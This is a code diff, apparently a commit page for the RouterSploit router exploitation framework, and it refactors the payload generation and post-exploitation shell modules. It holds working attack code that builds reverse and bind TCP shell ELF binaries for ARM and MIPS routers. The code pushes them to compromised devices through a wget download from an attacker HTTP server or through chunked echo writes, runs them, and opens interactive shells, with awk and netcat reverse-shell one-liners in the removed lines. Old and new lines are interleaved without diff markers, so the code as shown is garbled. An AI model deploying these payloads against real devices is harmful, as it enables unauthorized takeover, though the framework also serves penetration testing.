filepath = exploits.Option("/tmp/{}".format(random_text(8)), 'Output file to write')
class ReverseTCPPayloadMixin(object):
__metaclass__ = exploits.ExploitOptionsAggregator
handler = PayloadHandlers.REVERSE_TCP
lhost = exploits.Option('', 'Connect-back IP address',
validators=validators.ipv4)
lport = exploits.Option(5555, 'Connect-back TCP Port',
validators=validators.integer)
class BindTCPPayloadMixin(object):
__metaclass__ = exploits.ExploitOptionsAggregator
handler = PayloadHandlers.BIND_TCP
rport = exploits.Option(5555, 'Bind Port',
validators=validators.integer)
class BasePayload(exploits.BaseExploit):
handler = None
def __init__(self):
if self.architecture == "armle":
self.bigendian = False
self.header = ARCH_ELF_HEADERS['armle']
elif self.architecture == "mipsbe":
self.bigendian = True
self.header = ARCH_ELF_HEADERS['mipsbe']
elif self.architecture == "mipsle":
self.bigendian = False
self.header = ARCH_ELF_HEADERS['mipsle']
else:
print_error("Define architecture. Supported architectures: armle, mipsbe, mipsle")
return None
if self.handler not in PayloadHandlers:
raise OptionValidationError(
"Please use one of valid payload handlers: {}".format(
PayloadHandlers._fields
)
)
def generate(self):
raise NotImplementedError("Please implement 'generate()' method")
def run(self):
raise NotImplementedError()
class ArchitectureSpecificPayload(BasePayload):
architecture = None
output = exploits.Option('python', 'Output type: elf/c/python')
filepath = exploits.Option(
"/tmp/{}".format(random_text(8)), 'Output file to write'
)
def __init__(self):
super(ArchitectureSpecificPayload, self).__init__()
if self.architecture not in Architectures:
raise OptionValidationError(
"Please use one of valid payload architectures: {}".format(
Architectures._fields
)
)
self.header = ARCH_ELF_HEADERS[self.architecture]
self.bigendian = True if self.architecture.endswith("be") else False
def run(self):
print_status("Generating payload")
self.generate()
try:
data = self.generate()
except OptionValidationError as e:
print_error(e)
return
if self.output == "elf":
with open(self.filepath, 'w+') as f:
print_status("Building ELF payload")
content = self.generate_elf()
content = self.generate_elf(data)
print_success("Saving file {}".format(self.filepath))
f.write(content)
elif self.output == "c":
print_success("Bulding payload for C")
content = self.generate_c(data)
print_info(content)
elif self.output == "python":
print_success("Building payload for python")
content = self.generate_python()
content = self.generate_python(data)
print_info(content)
else:
raise OptionValidationError(
"No such option as {}".format(self.output)
)
def convert_ip(self, addr):
res = ""
for i in addr.split("."):
res += chr(int(i))
return res
def convert_port(self, p):
res = "%.4x" % int(p)
return res.decode('hex')
def generate_elf(self):
elf = self.header + self.payload
def generate_elf(self, data):
elf = self.header + data
if self.bigendian:
p_filesz = pack(">L", len(elf))
p_memsz = pack(">L", len(elf) + len(self.payload))
p_memsz = pack(">L", len(elf) + len(data))
else:
p_filesz = pack("<L", len(elf))
p_memsz = pack("<L", len(elf) + len(self.payload))
p_memsz = pack("<L", len(elf) + len(data))
content = elf[:0x44] + p_filesz + p_memsz + elf[0x4c:]
return content
def generate_python(self):
res = "payload = (\n \""
for idx, x in enumerate(self.payload):
@staticmethod
def generate_c(data):
res = "unsigned char sh[] = {\n \""
for idx, x in enumerate(data):
if idx % 15 == 0 and idx != 0:
res += "\"\n \""
res += "\\x%02x" % ord(x)
res += "\"\n};"
return res
@staticmethod
def generate_python(data):
res = "payload = (\n \""
for idx, x in enumerate(data):
if idx % 15 == 0 and idx != 0:
res += "\"\n \""
res += "\\x%02x" % ord(x)
res += "\"\n)"
return res
class GenericPayload(BasePayload):
def run(self):
print_status("Generating payload")
print_info(
self.generate()
)
......@@ -4,6 +4,9 @@ import SimpleHTTPServer
import BaseHTTPServer
import threading
import time
from os import listdir
from os.path import isfile, join
import importlib
from printer import printer_queue
from routersploit import validators
......@@ -13,97 +16,117 @@ from routersploit.utils import (
print_error,
print_success,
print_status,
print_table,
random_text,
)
import routersploit.modules.payloads as payloads
def shell(exploit, architecture="", method="", payloads=None, **params):
path = "routersploit/modules/payloads/{}/".format(architecture)
payload = None
options = []
def bind_tcp(arch, rport):
print_status("Generating bind shell binary")
if not payloads:
payloads = [f.split(".")[0] for f in listdir(path) if isfile(join(path, f)) and f.endswith(".py") and f != "__init__.py"]
if arch == 'armle':
payload = payloads.armle_bind_tcp.Exploit()
elif arch == 'mipsle':
payload = payloads.mipsle_bind_tcp.Exploit()
elif arch == 'mipsbe':
payload = payloads.mipsbe_bind_tcp.Exploit()
else:
print_error("Platform not supported")
return None
print_info()
print_success("Welcome to cmd. Commands are sent to the target via the execute method.")
print_status("Depending on the vulnerability, command's results might not be available.")
print_status("For further exploitation use 'show payloads' and 'set payload <payload>' commands.")
print_info()
payload.port = rport
payload.generate()
return payload.generate_elf()
def reverse_tcp(arch, lhost, lport):
print_status("Generating reverse shell binary")
if arch == 'armle':
payload = payloads.armle_reverse_tcp.Exploit()
elif arch == 'mipsle':
payload = payloads.mipsle_reverse_tcp.Exploit()
elif arch == 'mipsbe':
payload = payloads.mipsbe_reverse_tcp.Exploit()
else:
print_error("Platform not supported")
return None
payload.target = lhost
payload.port = lport
payload.generate()
return payload.generate_elf()
def shell(exploit, architecture="", method="", **params):
while 1:
while not printer_queue.empty():
pass
cmd = raw_input("cmd > ")
if payload is None:
cmd_str = "\001\033[4m\002cmd\001\033[0m\002 > "
else:
cmd_str = "\001\033[4m\002cmd\001\033[0m\002 (\033[94m{}\033[0m) > ".format(payload._Exploit__info__['name'])
cmd = raw_input(cmd_str)
if cmd in ["quit", "exit"]:
return
c = cmd.split()
if len(c) and (c[0] == "bind_tcp" or c[0] == "reverse_tcp"):
options = {}
if c[0] == "bind_tcp":
try:
options['technique'] = "bind_tcp"
options['rhost'] = validators.ipv4(exploit.target)
options['rport'] = int(c[1])
options['lhost'] = c[2]
options['lport'] = int(c[3])
except:
print_error("bind_tcp <rport> <lhost> <lport>")
payload = bind_tcp(architecture, options['rport'])
elif c[0] == "reverse_tcp":
try:
options['technique'] = "reverse_tcp"
options['lhost'] = c[1]
options['lport'] = int(c[2])
except:
print_error("reverse_tcp <lhost> <lport>")
payload = reverse_tcp(architecture, options['lhost'], options['lport'])
communication = Communication(exploit, payload, options)
if method == "wget":
communication.wget(binary=params['binary'], location=params['location'])
elif method == "echo":
communication.echo(binary=params['binary'], location=params['location'])
elif method == "awk":
communication.awk(binary=params['binary'])
elif method == "netcat":
communication.netcat(binary=params['binary'], shell=params['shell'])
elif cmd == "show payloads":
print_status("Available payloads:")
for payload_name in payloads:
print_info("- {}".format(payload_name))
elif cmd.startswith("set payload "):
c = cmd.split(" ")
if c[2] in payloads:
payload_path = path.replace("/", ".") + c[2]
payload = getattr(importlib.import_module(payload_path), 'Exploit')()
options = []
for option in payload.exploit_attributes.keys():
if option not in ["output", "filepath"]:
options.append([option, getattr(payload, option), payload.exploit_attributes[option]])
if payload.handler == "bind_tcp":
options.append(["rhost", validators.ipv4(exploit.target), "Target IP address"])
if method == "wget":
options.append(["lhost", "", "Connect-back IP address for wget"])
options.append(["lport", 4545, "Connect-back Port for wget"])
else:
print_error("Payload not available")
elif payload is not None:
if cmd == "show options":
headers = ("Name", "Current settings", "Description")
print_info('\nPayload Options:')
print_table(headers, *options)
print_info()
elif cmd.startswith("set "):
c = cmd.split(" ")
if len(c) != 3:
print_error("set <option> <value>")
else:
for option in options:
if option[0] == c[1]:
try:
setattr(payload, c[1], c[2])
except:
print_error("Invalid value for {}".format(c[1]))
break
option[1] = c[2]
print_success("{'" + c[1] + "': '" + c[2] + "'}")
elif cmd == "run":
data = payload.generate()
if method == "wget":
elf_binary = payload.generate_elf(data)
communication = Communication(exploit, elf_binary, options, **params)
if communication.wget() is False:
continue
elif method == "echo":
elf_binary = payload.generate_elf(data)
communication = Communication(exploit, elf_binary, options, **params)
communication.echo()
elif method == "generic":
params['exec_binary'] = data
communication = Communication(exploit, "", options, **params)
if payload.handler == "bind_tcp":
communication.bind_tcp()
elif payload.handler == "reverse_tcp":
communication.reverse_tcp()
elif cmd == "back":
payload = None
else:
print_status("Executing '{}' on the device...".format(cmd))
print_info(exploit.execute(cmd))
......@@ -129,136 +152,173 @@ class HttpServer(BaseHTTPServer.HTTPServer):
class Communication(object):
def __init__(self, exploit, payload, options):
def __init__(self, exploit, payload, options, location="", wget_options={}, echo_options={}, exec_binary=None):
self.exploit = exploit
self.payload = payload
self.options = options
self.binary_name = random_text(8)
self.options = {option[0]: option[1] for option in options}
# location to save the payload e.g. /tmp/
self.location = location
# transfer techniques
self.wget_options = wget_options
self.echo_options = echo_options
# process of executing payload
self.exec_binary = exec_binary
# name of the binary - its random 8 bytes
self.binary_name = None
self.port_used = False
self.mutex = False
def http_server(self, lhost, lport):
print_status("Setting up HTTP server")
server = HttpServer((lhost, int(lport)), HttpRequestHandler)
try:
server = HttpServer((lhost, int(lport)), HttpRequestHandler)
except socket.error:
self.port_used = True
self.mutex = False
return None
self.mutex = False
server.serve_forever(self.payload)
server.server_close()
def wget(self, binary, location):
def wget(self):
print_status("Using wget method")
self.binary_name = random_text(8)
if "binary" in self.wget_options.keys():
binary = self.wget_options['binary']
else:
binary = "wget"
# run http server
self.mutex = True
thread = threading.Thread(target=self.http_server, args=(self.options['lhost'], self.options['lport']))
thread.start()
while self.mutex:
pass
if self.port_used:
print_error("Could not set up HTTP Server on {}:{}".format(self.options['lhost'], self.options['lport']))
return False
# wget binary
print_status("Using wget to download binary")
cmd = "{} http://{}:{}/{} -O {}/{}".format(binary,
self.options['lhost'],
self.options['lport'],
self.binary_name,
location,
self.location,
self.binary_name)
self.exploit.execute(cmd)
return True
# execute binary
if self.options['technique'] == "bind_tcp":
self.execute_binary(location, self.binary_name)
print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport']))
time.sleep(2)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.options['rhost'], self.options['rport']))
print_success("Enjoy your shell")
tn = telnetlib.Telnet()
tn.sock = sock
tn.interact()
def echo(self):
print_status("Using echo method")
self.binary_name = random_text(8)
elif self.options['technique'] == "reverse_tcp":
sock = self.listen(self.options['lhost'], self.options['lport'])
self.execute_binary(location, self.binary_name)
path = "{}/{}".format(self.location, self.binary_name)
# waiting for shell
self.shell(sock)
# echo stream e.g. echo -ne {} >> {}
if "stream" in self.echo_options.keys():
echo_stream = self.echo_options['stream']
else:
echo_stream = 'echo -ne "{}" >> {}'
def echo(self, binary, location):
print_status("Using echo method")
# echo prefix e.g. "\\x"
if "prefix" in self.echo_options.keys():
echo_prefix = self.echo_options['prefix']
else:
echo_prefix = "\\x"
path = "{}/{}".format(location, self.binary_name)
# echo max length of the block
if "max_length" in self.echo_options.keys():
echo_max_length = int(self.echo_options['max_length'])
else:
echo_max_length = 30
size = len(self.payload)
num_parts = (size / 30) + 1
num_parts = (size / echo_max_length) + 1
# transfer binary through echo command
print_status("Using echo method to transfer binary")
print_status("Sending payload to {}".format(path))
for i in range(0, num_parts):
current = i * 30
current = i * echo_max_length
print_status("Transferring {}/{} bytes".format(current, len(self.payload)))
block = self.payload[current:current + 30].encode('hex')
block = "\\\\x" + "\\\\x".join(a + b for a, b in zip(block[::2], block[1::2]))
cmd = 'echo -ne "{}" >> {}'.format(block, path)
block = self.payload[current:current + echo_max_length].encode('hex')
block = echo_prefix + echo_prefix.join(a + b for a, b in zip(block[::2], block[1::2]))
cmd = echo_stream.format(block, path)
self.exploit.execute(cmd)
# execute binary
if self.options['technique'] == "bind_tcp":
self.execute_binary(location, self.binary_name)
def listen(self, lhost, lport):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport']))
time.sleep(2)
try:
sock.bind((lhost, int(lport)))
sock.listen(5)
except socket.error:
self.port_used = True
return None
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.options['rhost'], self.options['rport']))
return sock
print_success("Enjoy your shell")
tn = telnetlib.Telnet()
tn.sock = sock
tn.interact()
def build_commands(self):
path = "{}/{}".format(self.location, self.binary_name)
elif self.options['technique'] == "reverse_tcp":
sock = self.listen(self.options['lhost'], self.options['lport'])
self.execute_binary(location, self.binary_name)
commands = []
# waiting for shell
self.shell(sock)
# set of instructions to execute payload on the device
if isinstance(self.exec_binary, list) or isinstance(self.exec_binary, tuple):
for item_exec_binary in self.exec_binary:
if isinstance(item_exec_binary, str):
try:
commands.append(item_exec_binary.format(path))
except ValueError:
commands.append(item_exec_binary)
elif callable(item_exec_binary):
commands.append(item_exec_binary(path))
def awk(self, binary):
print_status("Using awk method")
# instruction to execute generic payload e.g. netcat / awk
elif isinstance(self.exec_binary, str):
commands.append(self.exec_binary)
# run reverse shell through awk
sock = self.listen(self.options['lhost'], self.options['lport'])
cmd = binary + " 'BEGIN{s=\"/inet/tcp/0/" + self.options['lhost'] + "/" + self.options['lport'] + "\";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)};'"
self.exploit.execute(cmd)
# default way of exectuign payload
else:
exec_binary_str = "chmod 777 {0}; {0}; rm {0}".format(path)
commands.append(exec_binary_str)
# waiting for shell
self.shell(sock)
return commands
def netcat(self, binary, shell):
# run reverse shell through netcat
def reverse_tcp(self):
sock = self.listen(self.options['lhost'], self.options['lport'])
cmd = "{} {} {} -e {}".format(binary, self.options['lhost'], self.options['lport'], shell)
if self.port_used:
print_error("Could not set up listener on {}:{}".format(self.options['lhost'], self.options['lport']))
return
self.exploit.execute(cmd)
# execute binary
commands = self.build_commands()
# waiting for shell
self.shell(sock)
print_status("Executing payload on the device")
def execute_binary(self, location, binary_name):
path = "{}/{}".format(location, binary_name)
cmd = "chmod 777 {}; {}; rm {}".format(path, path, path)
# synchronized commands
for command in commands[:-1]:
self.exploit.execute(command)
thread = threading.Thread(target=self.exploit.execute, args=(cmd,))
# asynchronous last command to execute binary
thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
thread.start()
def listen(self, lhost, lport):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((lhost, int(lport)))
sock.listen(5)
return sock
def shell(self, sock):
# waiting for shell
print_status("Waiting for reverse shell...")
client, addr = sock.accept()
sock.close()
......@@ -268,3 +328,27 @@ class Communication(object):
t = telnetlib.Telnet()
t.sock = client
t.interact()
def bind_tcp(self):
# execute binary
commands = self.build_commands()
for command in commands:
thread = threading.Thread(target=self.exploit.execute, args=(command,))
thread.start()
# connecting to shell
print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport']))
time.sleep(2)
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((self.options['rhost'], int(self.options['rport'])))
except socket.error:
print_error("Could not connect to {}:{}".format(self.options['rhost'], self.options['rport']))
return
print_success("Enjoy your shell")
tn = telnetlib.Telnet()
tn.sock = sock
tn.interact()
......@@ -90,8 +90,8 @@ class OptionTest(RoutersploitTestCase):
self.assertEqual(str(TestExploitFoo()), os.path.join('exploits', 'foo', 'bar'))
def test_exploit_options_property(self):
self.assertEqual(self.exploit_bar.options, ['paa', 'doo'])
self.assertEqual(self.exploit_foo.options, ['paa', 'doo'])
self.assertEqual(self.exploit_bar.options, ['paa', 'target', 'doo'])
self.assertEqual(self.exploit_foo.options, ['paa', 'target', 'doo'])
if __name__ == '__main__':
......
......@@ -26,7 +26,10 @@ def choice(valid_values):
def _enum(value):
if value not in valid_values:
raise OptionValidationError("Selected '{}' value isn't correct. Possible values are: {}".format(value, valid_values))
raise OptionValidationError(
"Selected '{}' value isn't correct. "
"Possible values are: {}".format(value, valid_values)
)
return value
......@@ -60,7 +63,8 @@ def boolify(value):
True -> "True", "t", "yes", "y", "on", "1"
False -> any other string
Objects other than string will be transformed using built-in bool() function.
Objects other than string will be transformed
using built-in bool() function.
"""
if isinstance(value, basestring):
try:
......@@ -76,4 +80,30 @@ def integer(number):
try:
return int(number)
except ValueError:
raise OptionValidationError("Invalid option. can't cast '{}' to integer.".format(number))
raise OptionValidationError(
"Invalid option. can't cast '{}' to integer.".format(number)
)
def convert_ip(address):
""" Convert IP to bytes"""
try:
res = ""
for i in address.split("."):
res += chr(int(i))
return res
except Exception:
raise OptionValidationError(
"Invalid option. '{}' is not a valid IP address".format(address)
)
def convert_port(port):
""" Convert Port to bytes"""
try:
res = "%.4x" % int(port)
return res.decode('hex')
except Exception:
raise OptionValidationError(
"Invalid option. '{}' is not a valid port number".format(port)
)
......@@ -26,6 +26,7 @@ def routersploit():
rsf = RoutersploitInterpreter()
rsf.start()
if __name__ == "__main__":
args = parser.parse_args()
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment